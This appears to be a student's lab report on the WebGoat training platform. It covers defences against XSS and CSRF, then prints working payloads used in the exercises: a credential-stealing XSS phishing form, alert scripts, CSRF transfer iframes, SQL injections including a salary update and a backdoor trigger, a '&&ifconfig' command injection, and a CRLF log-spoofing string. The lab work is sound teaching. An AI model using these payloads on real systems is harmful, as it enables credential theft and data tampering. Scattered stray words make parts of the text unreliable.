- 1.使用XSSFilter。輸入過濾,對用戶提交的數據進行有效性驗證,僅接受指定長度範圍內並符合咱們指望格式的的內容提交,阻止或者忽略除此外的其餘任何數據。好比:電話號碼必須是數字和中劃線組成,並且要設定長度上限。過濾一些些常見的敏感字符,例如:```< > ‘ 「 & # \ javascript expression "onclick=" "onfocus"```;過濾或移除特殊的Html標籤, 例如: ```<script>, <iframe> , < for <, > for >, " for```;過濾JavaScript 事件的標籤,例如``` "onclick=", "onfocus" ```等等。輸出編碼,當須要將一個字符串輸出到Web網頁時,同時又不肯定這個字符串中是否包括XSS特殊字符(如< > &‘」等),爲了確保輸出內容的完整性和正確性,可使用編碼(HTMLEncode)進行處理。 - 2.DOM型的XSS攻擊防護。把變量輸出到頁面時要作好相關的編碼轉義工做,如要輸出到 <script>中,能夠進行JS編碼;要輸出到HTML內容或屬性,則進行HTML編碼處理。根據不一樣的語境採用不一樣的編碼處理方式。 - 3.HttpOnly Cookie將重要的cookie標記爲http only, 這樣的話當瀏覽器向Web服務器發起請求的時就會帶上cookie字段,可是在腳本中卻不能訪問這個cookie,這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie:
- CSRF跨站請求僞造,也被稱爲「oneclickattack」或者sessionriding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用,經過假裝來自受信任用戶的請求來利用受信任的網站。是一種依賴web瀏覽器的、被混淆過的代理人攻擊。
- 經過 referer、token 或者 驗證碼來檢測用戶提交。 - 儘可能不要在頁面的連接中暴露用戶隱私信息。 - 對於用戶修改刪除等操做最好都使用post 操做 。 - 避免全站通用的cookie,嚴格設置cookie的域。
這是最後一個實驗了,基於這個webgoat的實驗平臺作了不少實驗,按着步驟來,也不算難操做,難在理解每一句指令,每個攻擊方式,每個漏洞,這也是咱們作這麼多實驗的目的吧,直觀的先認識到,怎麼樣會成功,而後再推敲,是怎麼成功的。網絡對抗的實驗確實是最有趣的,也是我作過最能調動人學習興趣的實驗。javascript
經過java -jar webgoat-container-7.0.1-war-exec.jar
打開webgoat。(這個實際安裝真的好費事。。最後仍是選擇了老師的kali)html
在kali瀏覽器中輸入localhost:8080/WebGoat,用默認帳戶密碼登陸webgoat。
java
若是一個未經驗證的用戶輸入一個 HTTP 響應時, XSS 頗有可能發生,利用它就能夠進行釣魚攻擊,在一個頁面內添加一個僞官方網頁就能夠騙取用戶的帳號和口令。注意這裏強調的是在 HTTP 響應時攻擊,而不是請求,要知道若是是請求的話,那麼就至關因而本身黑本身,多沒意思,可若是是響應的話就意味着,別人發送請求,而你響應他虛假的頁面,這樣就能夠用來對其進行欺騙。web
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
而後在webgoat找到xss攻擊打開Phishing with XSS,將這段代碼輸入到輸入框中,點擊search出現以下登陸框:
sql
在登陸框中輸入用戶名、密碼:數據庫
點擊登陸後跳出彈框,其中包含用戶輸入的用戶名、密碼。攻擊成功!
express
簡單來講明一下存儲型XSS的攻擊基本流程:好比在某個論壇提供留言板功能,黑客在留言板內插入惡意的html或者Javascript代碼,而且提交。網站後臺程序將留言內容存儲在數據中。而後一個用戶也訪問這個論壇,並刷新了留言板,這時網站後臺從數據庫中讀取了以前黑客的留言內容,而且直接插入在html頁面中,這就可能致使了:黑客留言的腳本自己應該做爲內容顯示在留言板的,而後此時可能黑客的留言腳本被瀏覽器解釋執行了。而後黑客就能夠:經過javascript獲取用戶的cookie,根據這個cookie竊取用戶信息;重定向網站到一個釣魚網站;從新更改頁面內容,僞裝讓客戶輸入用戶名,密碼,而後提交到黑客的服務器等等。瀏覽器
點擊提交就能夠看到彈窗了。
安全
反射型XSS,非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。服務器
<script>alert("20155204wh");</script>
點擊purchase後攻擊成功。
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉帳數額"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
BurpSuite
這個軟件。preference-->advanced-->network-->connection-->settings
,設置代理服務器和端口,要與剛剛BurpSuite中綁定的一致。SELECT * FROM weather_data WHERE station = 101 or 1=1
在webgoat中點擊view,BurpSuite的proxy已經抓到了包,一樣send到repeater,在其中的Params選項中先運行一次,查看數據都提交的位置。
而後修改HelpFile的值爲AccessControlMatrix.help"&&ifconfig"
,點擊GO發現執行了ifconfig語句。
回到webgoat發現攻擊成功。
%0d%0aLogin succeeded !admin
能夠欺騙登陸。101; update employee set salary=8888888
成功將該用戶的工資變成8888888,攻擊成功:101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155204@hackme.com' WHERE userid = NEW.userid
使得表中一旦添加新用戶那麼就在用戶表裏將新用戶的郵箱改成我設置的郵箱。